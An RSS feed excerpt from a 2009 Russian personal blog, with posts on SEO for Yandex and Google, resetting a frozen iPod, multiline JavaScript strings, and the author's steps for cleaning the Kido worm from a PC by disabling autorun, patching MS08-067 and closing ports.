		<guid isPermaLink="false">http://saintist.ru/?p=295</guid>
		<description><![CDATA[1.Поисковые системы учитывают слова: - чем больше частота фразы запроса в тексте &#8212; тем лучше; - чем больше частота слова из фразы запроса в одном предложении &#8212; тем лучше; - чем больше относительная частота упоминания слова в тексте &#8212; тем лучше. Основа базовых алгоритмов поисковых систем. 2. Поисковые системы при анализе текста &#8212; стремятся к [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/yandex.jpg"><img class="size-full wp-image-296 aligncenter" title="yandex" src="http://saintist.ru/wp-content/uploads/2009/05/yandex.jpg" alt="yandex" width="320" height="260" /></a></p>
<p><strong>1.Поисковые системы учитывают слова:</strong></p>
<p>- чем больше частота фразы запроса в тексте &#8212; тем лучше;<br />
- чем больше частота слова из фразы запроса в одном предложении &#8212; тем лучше;<br />
- чем больше относительная частота упоминания слова в тексте &#8212; тем лучше.</p>
<p>Основа базовых алгоритмов поисковых систем.<br />
<span id="more-295"></span></p>
<p>2. Поисковые системы при анализе текста &#8212; стремятся к учету того, что стоит за словами, вместо учета слов; к учету связей между словами; к автоматизированному выявлению и учету тематики.</p>
<p>Что можно выбелить из текста, кроме слов? Можно выделить смысл, стоящий за словами. В системе “пользователь &#8212; поисковая система” возникает цепочка, в которой на каждом звене происходит искажение смысла: информационная потребность пользователя &#8212; слова, в которые он облек свой запрос &#8212; слова документов в базе &#8212; объекты и понятия, стоящие за словами документа. Один из алгоритмов выявления связей основан на том, что часто встречающиеся рядом слова имеют связь между собой и могут относиться к одной тематике.</p>
<p>Анализ “тем” и “связей” по базе документов.</p>
<p>Проводимые в Яндексе работы по выявлению связей между “словами” и “темами” наглядно иллюстрируются с помощью общедоступного инструмента автоматической генерации тематических рефератов referats.yandex.ru. Очевидно, что почти каждое слово, использованное в автоматически созданном тексте &#8212; узкотематическое. И ничего лишнего. Как правило, если что-либо делается общедоступным в сервисах поисковых систем, значит, ружье не зря висит на стене &#8212; в третьем акте будет выстрел.<br />
Обратная процедура &#8212; автоматическое выявление “темы” документа или запроса &#8212; не за горами.</p>
<p><strong>Направления развития поисковых алгоритмов Яндекс:</strong><br />
1. переход от поиска по словам к поиску по объектам. В выдаче &#8212; информация об объектах, о которых идет речь в вопросе.<br />
2. Учет связей между объектами. Формирование базы знаний.<br />
3. Автоматическое определение тематики.</p>
<p><strong>Как писать тексты под такой алгоритм:</strong><br />
- определяемся с тематикой и основными запросами документа;<br />
- анализируем тематические документы, связанные с темой, под которую оптимизируем документ;<br />
- составляем “словарь темы” и при написании текста используем слова только из него;<br />
- стараемся действительно осветить в тексте данную тему через ее основные понятия.</p>
<p><strong>Анализ “тем” и “связей” в запросах.</strong></p>
<p> Яндекс энергично банит за наличие на странице примитивного списка запросов через запятую. Потому что,  такой список запросов “мешает корректной работе ранжирующего алгоритма Яндекс”. Точно так же банит за список запросов на странице Рамблер.</p>
<p>Как писать текст под конкретный запрос:<br />
- определяемся с основным запросом, под который оптимизируем документ;<br />
- расширяем запрос, анализируя списки прямых (т.е. исходный запрос + дополнительные слова) и ассоциативных запросов;<br />
- из запросов составляем “словарь темы” и при написании текста используем слова только из него;<br />
- стараемся употребить каждый запрос хотя бы раз;<br />
- при этом пишем нормальный человеческий текст, раскрывающий для посетителя тему со всех ее сторон, отраженных в запросах.</p>
<p><strong>3. Написание оптимизированных текстов.</strong></p>
<p>Логика процесса проста:<br />
- есть некоторый исходный тематический текст (в зависимости от подхода это может быть совокупность документов базы или совокупность запросов посетителей поисковой системы);<br />
- для него можно выявить наиболее “контрастные”, “смыслоразличительные” термины и составить “словарь темы”, будь то тема “Индустриализация” или “Азиатский орнамент”;<br />
- используя слова почти исключительно из словаря темы, пишем текст;<br />
- такой текст будет обладать высокой релевантностью к теме;<br />
- и, кроме того, если словарь составлен на основе анализа запросов &#8212; текст перекроет многочисленные низкочастотные вариации запросов.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/10/seo-i-yandeks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO справка</title>
		<link>http://saintist.ru/2009/05/09/seo-spravka/</link>
		<comments>http://saintist.ru/2009/05/09/seo-spravka/#comments</comments>
		<pubDate>Sat, 09 May 2009 17:21:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=288</guid>
		<description><![CDATA[1. Если используется Javascript, для поисковых машин необходимо включать поисковые ссылки в меню и изображения. 2. Содержание &#8212; основной козырь, оно должно быть качественное и содержать ключевые слова и фразы. 3. Если содержание &#8212; козырь, то ссылка &#8212; масть. Создавая систему линкбайтинга, ключевые слова используем как текст ссылок. 4. PageRank не стоит увлекаться. PageRank это [...]]]></description>
			<content:encoded><![CDATA[<p>1. Если используется Javascript,  для поисковых машин необходимо включать  поисковые ссылки в меню и изображения.</p>
<p>2. Содержание &#8212; основной козырь,  оно должно быть качественное и содержать ключевые слова и фразы.<br />
<span id="more-288"></span><br />
3. Если содержание &#8212; козырь, то ссылка &#8212;  масть. Создавая систему линкбайтинга, ключевые слова используем как текст ссылок.</p>
<p>4. PageRank не стоит увлекаться. PageRank это &#8212; очень  малая часть системы правил оптимизации сайта. Не стоит постоянно отвлекаться на нее.</p>
<p>5.Уникальные ключевое слово должны быть на каждой странице вашего сайта. Если  название компании размещено  в посте, стоит вывести его в конце страницы. Это увеличивает шансы получить клики.</p>
<p>6. Ранжирование улучшается наличием нового контента, это добивается  путем регулярных публикаций и обновления старых  постов. </p>
<p>7. Тексты внешних и внутренних ссылок обязательно должны содержать ключевые слова, а не просто “смотреть здесь”.</p>
<p>8. Займитесь исследованием  популярных запросов и помещением их в текст.</p>
<p>9. Дизайн, навигация, структура сайта должны быть организованы в соответствии с SEO законами.</p>
<p>10. Ключевые слова и фразы  должны активно использоваться в текстах ссылок, тегах и изображений и доменном имени.</p>
<p>11. Если вы имеете домены и  http://www.site.com, и http://site.com, на них должен стоять 301-й редирект.</p>
<p>12. Ссылки на главную страницу по всему сайту.</p>
<p>13. Не можете поставить ссылку на конкретную страницу если используете Frames, Flash и AJAX  &#8212;  стоит  свести их  использование к минимуму.</p>
<p>14. Расширение файла URL может быть какое угодно. Вы можете использовать html., htm., asp., php, и т.д. Это не столь важно, и не имеет какого-либо значения.</p>
<p>15. Чтобы ваш сайт был быстрее проиндексирован получите ссылку с авторитетного ресурса.</p>
<p>16. Регулярно меняйте содержание сайта иначе поисковые машины &#171;потеряют к нему интерес&#187;.</p>
<p>17. Работая с ссылками, акцентируйтесь прежде всего, на качестве, а не на количестве. Одна единственная ссылка приносит больше пользы, чем сотня сомнительных.</p>
<p>18. Перенасыщение текста ключевыми словами &#8212; делает его спамом, а поисковые машины любят “естественное” содержание. </p>
<p>19. Ссылки должны содержать ключевые слова, и должны быть окружены текстом с ключевыми словами который кроме этих  ключевых  слов должен нести описательную функцию для ссылки.</p>
<p>20. Проверьте по черному списку, что на том сервере где вы размещены и размещены еще несколько сайтов, нет активных  источников спама или запрещенных   сайтов.</p>
<p>21. Домен, ранее заблокированный Google,  и зарегистрированный заново  автоматически воспринимается как спамер.</p>
<p>22. Тег названия должен быть также оптимизирован.</p>
<p>23. Результат  SEO дают &#8212; Текст, Ссылки, Популярность и Репутация.</p>
<p>24. Пользоваться сайтом должно быть удобно. Это влияет на популярность и на ранжирование.</p>
<p>25. Не скупитесь на ссылки, и получите ссылки на ваш  сайт.</p>
<p>26. Поисковые машины “едят” уникальный  и качественный контент. </p>
<p>27. Обязательно должна быть главная страница, неважно что на ней.</p>
<p>28. Некоторые из самых ценных ссылок могли бы содержаться не на сайте в принципе, а например в форме обратной связи.</p>
<p>29. НИЧЕГО не удастся  получить от платных ссылок (кроме жидких кликов), если не включить их в основной текст.</p>
<p>30. С .edu-доменов ссылки  хорошо оцениваются поисковиками.</p>
<p>31. Качественный контент &#8212; главное условие успешного линкбайтинга.</p>
<p>32. Одна страница &#8212; одно ключевое слово. Не стоит всунуть как можно больше.</p>
<p>33. SEO-методы бессильны, если у вас есть невнятный или невпечатляющий слоган, призыв к действию. Удостоверьтесь, что он в порядке, хотя бы просто как “Покупайте прямо сейчас!”.</p>
<p>34. Методы SEO &#8212; не одноразовая операция, они требуют постоянных  затрат сил.</p>
<p>35. Предложите популярному блогеру или авторитетному ресурсу такой контент, который бы мог их заинтересовать в плане линкбайтинга или гостевого блогинга: фото, картинки, подкасты, хорошие тексты.</p>
<p>36. Попытайтесь опубликовать авторитетного блогера или владельца марки. Ответы на комментарии от президента компании заставят ваш блог стать суперпопулярным.</p>
<p>37. Оптимизируйте текст в RSS точно так же, каки в блоге. Используйте ключевые слова в описании.</p>
<p>38. Называйте свои изображения. Названия картинок также должны содержать ключевые слова.</p>
<p>39. Обратите внимание на контекст ваших изображений. Он также должен содержать ключевые слова.</p>
<p>40. Навигация &#8212; важнейший элемент SEO. Карта сайта  &#8212;  обязательная категория вашего блога.</p>
<p>41. Есть два способа НЕ видеть Google’s Personalized Search:<br />
- не регистрироваться в Google;<br />
- добавить &#038;pws=0 в конец вашего URL  в поисковой строке.</p>
<p>42. Ссылки с сайта с высоким коэффициентом PageRank являются самыми ценными. Признание общественности означает доверие, таким образом, обратные ссылки с этих сайтов более значимые.</p>
<p>43. Используйте абсолютные ссылки. В таком случае при копировании контента вы избежите автоматического изменения ссылок, и получите свои бэклинки.</p>
<p>44. Проверьте, предлагает ли ваш хостинг инструмент “Sticky”, который позволяет при перходе на  новый домен сохранять в строке поиска название старого.</p>
<p>45. Изучайте SMM. Это &#8212; неотъемлимая часть SEO. Чем лучше вы разбираетесь в Digg, Yelp, del.icio.us, Facebook и т.д., тем более вы конкуретноспособны.</p>
<p>46. Чтобы ваше видео “видели” поисковики, создайте видеокарту сайта или внесите его в список Google Webmaster Central account.</p>
<p>47. Видео, которое обнаруживается в Google, поступает не только с YouTube. Разошлите свое видео также на Metacafe, AOL, MSN и Yahoo.</p>
<p>48. Создайте для вашего видео контекст с ключевыми словами. Это увеличивает релевантность вашего видео.</p>
<p>49. Используйте слова “image” или “picture” в alt-тегах изображений, в дополнение к ключевым словам.</p>
<p>50. Установите функцию “Расширенный поиск изображения” в вашем аккаунте Google Webmaster. Чем больше критериев выдачи, тем больше шансов, что вас найдут.</p>
<p>51. Добавляйте в блог  ”вирусный” контент: обзоры,  компоненты к своему вебсайту или блогу &#8212; обзоры, юмор, статистику, личный опыт.</p>
<p>52. Расширьте разнообразие контента, включите видео, подкасты, новости и т.д.</p>
<p>53. Рассматривая предложение о купле-продаже ссылок, проверьте сайт на дату кэширования: введите “cache: URL сайта” &#8212; если дата кэширования зафиксирована больше месяца назад, такая ссылка ничего не стоит.</p>
<p>54. Если у вас на сайте есть похожие страницы, и вы опасаетесь, что они рассматриваются поисковиками как дублированный контент, включите  URL основной страницы в карту сайта.</p>
<p>55. Проверьте отображение сервера. Введите “проверить заголовок сервера”, чтобы найти бесплатные онлайн-инструменты. Если ваш  URL сообщает статус “200 OK” или “301 Moved Permanently”, все в порядке. В противном случае проверьте настройки вашего  URL.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/09/seo-spravka/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO правила</title>
		<link>http://saintist.ru/2009/05/09/seo-pravila/</link>
		<comments>http://saintist.ru/2009/05/09/seo-pravila/#comments</comments>
		<pubDate>Sat, 09 May 2009 16:50:48 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=285</guid>
		<description><![CDATA[1. Технический аспект Барьеры поисковым роботам автоматически сводят всю вашу работу нацеленную на продвижение на нет. Страницы, текст изображений, IFRAME, session ID &#8212; все это должно быть вам знакомо и работать на ваш блог. 2. Содержание Ключевые слова в вашем тексте &#8212; это то, что позволяет людям найти вас, а соответственно, и реализовать свой товар, [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1. Технический аспект</strong></p>
<p>Барьеры поисковым роботам автоматически сводят всю вашу работу нацеленную на продвижение  на нет.</p>
<p>Страницы, текст изображений, IFRAME, session ID &#8212; все это должно быть вам знакомо и работать на ваш блог.<br />
<span id="more-285"></span><br />
<strong>2. Содержание</strong></p>
<p>Ключевые слова в вашем тексте &#8212; это то, что позволяет людям найти вас, а соответственно, и реализовать свой товар, услугу и т. д. Ключевые слова описывают ваш ресурс, помогают понять, для чего он сделан.</p>
<p>Важны не только кейворды, но и сама информационная архитектура сайта. Это связано с технической стороной вопроса. Если поисковые системы не могут прочитать ваше содержание, все флеш-навороты теряют смысл.</p>
<p>Разработчики в погоне за оптимизацией забывают о пользователях, для которых сайт предназначен. Содержание должно быть не только правильно семантически организовано, но и логически выстроено и удобочитаемо. Это делает сайт полезным, посещаемым и популярным, что хорошо для SEO.</p>
<p><strong>3. Ссылки</strong></p>
<p>Ссылки &#8212; это прогресс вашего ранжирования в поисковых системах. Множество статей посвящено тому, как сделать чтобы люди заговорили о вас. Вам остается только лишь осознать важность ссылок.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/09/seo-pravila/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google о SEO</title>
		<link>http://saintist.ru/2009/05/08/google-o-seo/</link>
		<comments>http://saintist.ru/2009/05/08/google-o-seo/#comments</comments>
		<pubDate>Fri, 08 May 2009 21:13:21 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Google]]></category>
		<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=277</guid>
		<description><![CDATA[Несколько интересных фактов о SEO для Google. Предпочтительная структура ссылок для Google? рекомендуют вот в каком порядке long-haired-dogs.html long_haired_dogs.html longhaireddogs.html Google TrustRank (уровень доверия) Ходит миф что если &#171;плохой&#187; сайт ссылается на ваш то уровень доверия к вашему сайту будет понижен. Это неправда. В 2008 году Google отказался от «TrustRank». Только одна компания использует «TrustRank» [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/google.jpg"><img class="size-full wp-image-282 aligncenter" title="google" src="http://saintist.ru/wp-content/uploads/2009/05/google.jpg" alt="google" width="400" height="300" /></a></p>
<p>Несколько  интересных фактов о SEO для  Google.</p>
<p><strong>Предпочтительная  структура ссылок для Google?</strong></p>
<p>рекомендуют  вот в каком порядке<br />
<span id="more-277"></span><br />
long-haired-dogs.html<br />
long_haired_dogs.html<br />
longhaireddogs.html </p>
<p><strong>Google TrustRank (уровень доверия)</strong></p>
<p>Ходит миф что если &#171;плохой&#187; сайт ссылается на ваш  то уровень доверия  к вашему сайту будет понижен. Это неправда. В 2008 году Google отказался от «TrustRank». Только одна компания использует «TrustRank» &#8212; Yahoo!</p>
<p><strong>Будет ли Google изучать как идентифицировать купленные ссылки без установленного «nofollow»?</strong></p>
<p>Атрибут «nofollow» в ссылках — способ, с помощью которого владельцы сайтов дают больше информации поисковым механизмам об их ссылках, но поисковые механизмы продолжают совершенствовать механизм «взвешивания» ссылок».</p>
<p>Что-то они с этим будут делать. Должны улучшить алгоритм  определения купленных  и устаревших  ссылок.</p>
<p><strong>Дублирование контента на сайте!</strong></p>
<p>Наказывает ли Google за это  «и да, и нет». Сначала разберемся что именно подразумевается под  дублированием контента.<br />
Обычно, к дублированному контенту относятся блоки одинакового или очень похожего текста. Есть два вида подобного инцидента: дублирование контента внутри вашего домена и меж-доменное дублирование контента.</p>
<p><strong>Дублирование контента внутри домена</strong></p>
<p>Google фильтрует дублированный контент разными способами. Если для каждой страницы вашего сайта существует обычная и версия для печати, и ни одна не заблокирована в robots.txt или мета-тэгом “noindex”, Google просто выбирает одну из них и игнорирует другие. Коммерческие сайты, которые обычно управляются с помощью CMS, могут иногда хранить отображаемые элементы (или еще хуже — ссылки) через множественные различные страницы. Google сгруппирует дублированные ссылки в кластеры и отобразит ту из них, которую посчитает наилучшей среди поисковых результатов.<br />
По-настоящему негативными эффектами от использования дублированного контента являются:<br />
• Снижение популярности ссылок (вместо получения ссылок для отображения предполагаемой страницы, ссылки будут разделены между отдельными страницами)<br />
• В поисковой выдаче могут быть показаны адреса, недружелюбные для пользователей (длинные ссылки с указанием разных ID, и т.д.), что плохо для бренда сайта.<br />
Наказание за дублированный контент применяется, когда контент умышленно скопирован для манипуляции результатами поисковой выдачи или для увеличения трафика – в этом случае Google урегулирует индексацию и ранжирование сайтов.</p>
<p><strong>Меж-доменное дублирование контента</strong></p>
<p>Это настоящий кошмар для всех серьезных веб-изданий: заимствование контента. Некоторые могут заимствовать контент для использования на сайтах, сделанных специально для рекламной программы AdSense. Или же некоторые веб-прокси могут индексировать части сайта, которые через них просматривались. Google говорит, что это не повод для беспокойства, хотя многие издания понесли «наказания», когда заимствованное ранжировалось выше оригинала.<br />
Google утверждает, что может определить оригинал. Очевидно, если заемщик оценивается выше, причиной может лежать в том, каким образом сайт-жертва был подготовлен для Google. Вот возможные средства, предложенные Свеном Науманом, членом команды по качеству поиска Google.<br />
• Проверьте, доступен ли ваш контент для наших роботов. Вы можете случайно заблокировать доступ к частям вашего контента в файле robots.txt.<br />
• Проверьте ваш файл Sitemap, делали ли вы какие-то изменения в том контенте, который был заимствован.<br />
• Проверьте, соответствует ли ваш сайт правилам наших вебмастеров.</p>
<p>Самое интересное утверждение сделал тот самый поисковый эксперт Google. Как вы поймете следующее:<br />
Напоследок, хочу отметить, что в большинстве случаев, наличие дублированного контента не имеет негативного эффекта на присутствие вашего сайта в индексе Google. Он просто отфильтровывается.<br />
Позвольте мне предложить свою версию: если информация с вашего сайта заимствуется сайтом с более высокой популярностью, ваш оригинальный контент будет просто отфильтрован. Если это не наказание за дублированный контент, то как это называется? Наверное, удаление?<br />
К счастью, у Google есть решение: если ваш контент был заимствован, и вор оценивается выше, вы можете отправить DMCA-запрос чтобы заявить права на владение контентом. Удачи вам в этом!<br />
Последнее, но не маловажное: если вы хотите разместить контент на других сайтах, чтобы оригинальная статья оценивалась выше, необходимо убедиться, что на тех сайтах стоит обратная ссылка на нее. Но встречались случаи, когда, несмотря на ссылку, оригинал получал меньший вес и… был удален?<br />
Для родственных сайтов, которые отображают дублированный или одинаковый с изначальным, контент, у Google тоже есть простое решение. Копирование контента приведет к «упусканию» вашего сайта из результатов поиска, но если вы добавите дополнительную информацию на страницы, у вас есть все шансы на хорошее ранжирование в результатах поисковой выдачи. Так, на сколько больше? Один абзац, два? Ну-ка, определите!<br />
Мой второй вывод: что вы можете взять из этой статьи? Может быть, Google сам не знает, чего хочет – алгоритмы под полным контролем – и он не хочет, чтобы люди знали, как он работает. Действительно, Google любит оптимизированные сайты и ваша лучшая ставка – никогда не дублировать контент.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/08/google-o-seo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>завис ipod -&gt;reboot ipod</title>
		<link>http://saintist.ru/2009/05/08/zavis-ipod-reboot-ipod/</link>
		<comments>http://saintist.ru/2009/05/08/zavis-ipod-reboot-ipod/#comments</comments>
		<pubDate>Fri, 08 May 2009 11:08:32 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=264</guid>
		<description><![CDATA[Бывает что мой ipod подвисает. На экране подключенного к компу ipod светится одна из надписей: - Устройство подключено. Перед отсоединением извлеките устройство. - Идет процесс синхронизации. Подождите&#8230; - Не отключайте iPod Этот трабл возникает на моделях: iPod, iPod mini, iPod nano. Выйти из такой ситуации просто: iPod с Click Wheel 1. Сдвиньте переключатель блокировки клавиатуры [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/ipod_by_phantom.png"><img class="size-full wp-image-274 aligncenter" title="ipod_by_phantom" src="http://saintist.ru/wp-content/uploads/2009/05/ipod_by_phantom.png" alt="ipod_by_phantom" width="99" height="56" /></a></p>
<p>Бывает что мой ipod подвисает.<br />
На экране подключенного  к компу ipod светится одна из  надписей:</p>
<p>- Устройство подключено. Перед отсоединением извлеките устройство.<br />
- Идет процесс синхронизации. Подождите&#8230;<br />
- Не отключайте iPod</p>
<p>Этот трабл возникает на моделях: iPod, iPod mini, iPod nano.</p>
<p>Выйти из  такой ситуации просто:<br />
<span id="more-264"></span></p>
<p><strong>iPod с Click Wheel</strong></p>
<p>1. Сдвиньте переключатель блокировки клавиатуры в положение Hold затем обратно.<br />
2. Одновременно нажмите и держите две кнопки menu и select пока не увидите логотип Apple (яблоко). Если нужно, повторите процедуру сброса.</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/ipodvideoreset.jpg"><img class="size-full wp-image-269 aligncenter" title="ipodvideoreset" src="http://saintist.ru/wp-content/uploads/2009/05/ipodvideoreset.jpg" alt="ipodvideoreset" width="200" height="300" /></a></p>
<p style="text-align: center;">
<p><strong>iPod (scroll wheel), iPod (touch wheel), iPod (dock connector) </strong></p>
<p>1. Сдвиньте переключатель блокировки клавиатуры в положение Hold затем обратно.<br />
2. Одновременно нажмите и держите две кнопки меню Play/Pause и Menu пока не увидите логотип Apple(яблоко). Если нужно, повторите процедуру сброса.</p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/05/ipod3genreset.jpg"><img class="size-full wp-image-270 aligncenter" title="ipod3genreset" src="http://saintist.ru/wp-content/uploads/2009/05/ipod3genreset.jpg" alt="ipod3genreset" width="200" height="327" /></a></p>
<p><strong>iPod shuffle</strong></p>
<p>1. Отключить iPod shuffle от компьютера, если был подключен.<br />
2. Сдвиньте переключатель на задней грани плеера в положение Off.<br />
Примечание: когда iPod shuffle отключен, зеленая полоска под переключателем не видна.<br />
3. Подождите 5 секунд.<br />
4. Сдвиньте переключатель на задней грани iPod shuffle в положение play или в положение shuffle. Зеленая полоска будет видна в обоих положениях.</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/ipodshufflereset.gif"><img class="size-full wp-image-271 aligncenter" title="ipodshufflereset" src="http://saintist.ru/wp-content/uploads/2009/05/ipodshufflereset.gif" alt="ipodshufflereset" width="80" height="124" /></a></p>
<p>Возможно, данное действие потребуется повторить.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/08/zavis-ipod-reboot-ipod/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>JavaScript многострочные строковые переменные</title>
		<link>http://saintist.ru/2009/05/06/javascript-value-multistring/</link>
		<comments>http://saintist.ru/2009/05/06/javascript-value-multistring/#comments</comments>
		<pubDate>Wed, 06 May 2009 06:46:29 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=255</guid>
		<description><![CDATA[При написании скриптов на JavaScript используем комбинацию var value='первая часть'+ 'вторая часть'+ 'третья часть'; Но можно все сделать гораздо проще например так: var value='первая часть\ вторая часть\ третья часть'; недокументированная возможность, в стандарт языка не входит возможны глюки в некоторых браузерах, некоторые версии IE6 через раз обрабатывают такой код, скорее всего реакция на спецсимволы , [...]]]></description>
			<content:encoded><![CDATA[<p>При написании  скриптов на JavaScript используем комбинацию</p>
<p><code>var value='первая часть'+</p>
<p>'вторая часть'+</p>
<p>'третья часть';</code></p>
<p>Но можно все сделать гораздо проще</p>
<p>например так:<br />
<span id="more-255"></span><br />
<code>var value='первая часть\</p>
<p>вторая часть\</p>
<p>третья часть';</code></p>
<p>недокументированная возможность, в стандарт языка не входит</p>
<p>возможны глюки в некоторых  браузерах, некоторые  версии IE6 через  раз  обрабатывают такой код, скорее всего реакция на спецсимволы , один из  таких  спецсимволов  табуляция</p>
<p>а можно сделать вот так </p>
<pre class="prettyprint"><a name="multi-line_text"><span class="kwd">var</span><span class="pln"> text </span><span class="pun">=</span><span class="pln"> </span><span class="pun">&lt;&gt;</span><span class="pln">
</span><span class="kwd">this</span><span class="pln">
</span><span class="kwd">is</span><span class="pln">
</span><span class="kwd">my</span><span class="pln">
multi</span><span class="pun">-</span><span class="pln">line
text
</span><span class="pun">&lt;</span><span class="str">/&gt;.toString();</span></a></pre>
<pre class="prettyprint"><a name="multi-line_text"><span class="str">
Print(text); вернет</span></a></pre>
<pre class="prettyprint">
<pre class="prettyprint"><a name="multi-line_text"><span class="kwd">this</span><span class="pln">
</span><span class="kwd">is</span><span class="pln">
</span><span class="kwd">my</span><span class="pln">
multi</span><span class="pun">-</span><span class="pln">line
text</span></a></pre>
</pre>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/06/javascript-value-multistring/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Net-Worm.Win32.Kido мочим заразу</title>
		<link>http://saintist.ru/2009/05/05/networmwin32kido/</link>
		<comments>http://saintist.ru/2009/05/05/networmwin32kido/#comments</comments>
		<pubDate>Tue, 05 May 2009 21:58:09 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[уязвимости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=245</guid>
		<description><![CDATA[Сегодня обратил внимание что на флешаке появилась папка RECYCLED и файл в корне Autorun.inf снес их , через несколько минут снова появились, проверил каспером, он в RECYCLED нашел чтото, оказалось Net-Worm.Win32.Kido, удалил его, через некоторое время снова все повторилось, повились папки и файл, Касперский не помог. Поискал информацию в Сети. И кой чего нашел. Помогло! [...]]]></description>
			<content:encoded><![CDATA[<p>Сегодня обратил внимание что на флешаке  появилась папка RECYCLED  и файл в корне Autorun.inf</p>
<p>снес их , через несколько минут снова появились, проверил каспером, он  в RECYCLED   нашел чтото, оказалось Net-Worm.Win32.Kido, удалил его, через некоторое время снова  все повторилось, повились папки  и файл,  Касперский не помог.</p>
<p>Поискал  информацию в Сети. И кой чего нашел.  Помогло!<br />
<span id="more-245"></span></p>
<p>Создаем  файл с расширением reg , записываем туда</p>
<p><strong>REGEDIT4<br />
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf]<br />
@=&#187;@SYS:DoesNotExist&#187;</strong></p>
<p>Запускаем его, этим мы запрещаем  запуск Autorun.inf файлов с  сменных носителей</p>
<p>Ставим обновления с http://windowsupdate.microsoft.com/ особенно обратите внимание на вот это http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx,  желательно отключить Netbios,  закрыть фаервалом встроенным или сторонним порты 445, 139</p>
<p>Также можно отключить лишнее с помощью wwdc  (Windows Worms Doors Cleaner)<br />
 (<a href="/wp-content/uploads/2009/05/wwdc.rar">WWDC.rar</a>) &#8212; данная утилита позволяет простым нажатием пяти кнопок отключить наиболее критические службы Windows (поддержка DCOM, RPC Locator, NetBIOS, UPnP (Universal Plug and Play) и службы сообщений &#8212; Messenger) + закрыть порты, которые этими службами используются (135, 137, 138, 139, 445, 5000):<br />
<a href="http://saintist.ru/wp-content/uploads/2009/05/wwdc1.gif"><img src="http://saintist.ru/wp-content/uploads/2009/05/wwdc1.gif" alt="wwdc" title="wwdc" width="476" height="312" class="alignnone size-full wp-image-246" /></a></p>
<p>Скачиваем, запускаем и поочередно нажимаем на каждую из 5-ти кнопок, пока не добьемся следующего результата (т.е. галочки в зеленом кружке около каждой кнопки):<br />
<a href="http://saintist.ru/wp-content/uploads/2009/05/wwdc1.gif"><img src="http://saintist.ru/wp-content/uploads/2009/05/wwdc.gif" alt="wwdc1" title="wwdc" width="476" height="312" class="alignnone size-full wp-image-247" /></a></p>
<p>Запускаем утилиту от Касперского <a href="/wp-content/uploads/2009/05/KK_v3.4.7.zip"> KillerKido  v.3.4.7</a>  которая чистит заразу</p>
<p><strong>7.05.2009</strong> Как оказалось вирус остался, может  быть новая модификация</p>
<p>Определил  вот как, переустановил Касперского и при активации  неполучилось подключится к серверу активации, вылезла ссылка, типа нажмите для пояснения причины, ссылка вела на сайт Касперского, а он не открылся Ни в одном из  браузеров, прочитал  что это один из признаков заражения.</p>
<p>Полностью избавится от Kido помогло вот что.</p>
<p>1. Отключился полностью от сети, от Интернета и локалки.<br />
2. Установил  раньше обновление <strong>http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx</strong><br />
если не получается скачать обновление то можно воспользоваться ссылкой через проксю, например hidemyass.com ? там есть поле  вводиш  туда http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx жмешь  кнопку , идет загрузка<br />
3. Запустил утилиту .<br />
<a href="/wp-content/uploads/2009/05/klwk.zip"><strong>klwk </strong></a></p>
<p>Утилита от Касперского мочит заразу:</p>
<p>                I-Worm.Zafi.b<br />
		I-Worm.Bagle.at,au,cx-dw<br />
		Virus.Win32.Implinker.a<br />
		Not-a-virus.AdWare.Visiter<br />
		Trojan.Win32.Krotten<br />
		Email-Worm.Win32.Brontok.n<br />
		Backdoor.Win32.Allaple.a<br />
		Trojan-Spy.Win32.Goldun.mg<br />
		Email-Worm.Win32.Warezov<br />
		Virus.Win32.VB.he<br />
		IM-Worm.Win32.Sohanad.as<br />
		P2P-Worm.Win32.Malas.b<br />
		Virus.Win32.AutoRun.acw<br />
		Worm.Win32.VB.jn<br />
		Trojan.Win32.KillAV.nj<br />
		Worm.Win32.AutoRun.cby<br />
		Trojan.Win32.Agent.aec<br />
		Trojan-Downloader.Win32.Todon.an<br />
		Trojan-Downloader.Win32.Losabel.ap<br />
		Worm.Win32.AutoRun.czz,daa,dhq,dfx<br />
		Net-Worm.Win32.Rovud.a-c<br />
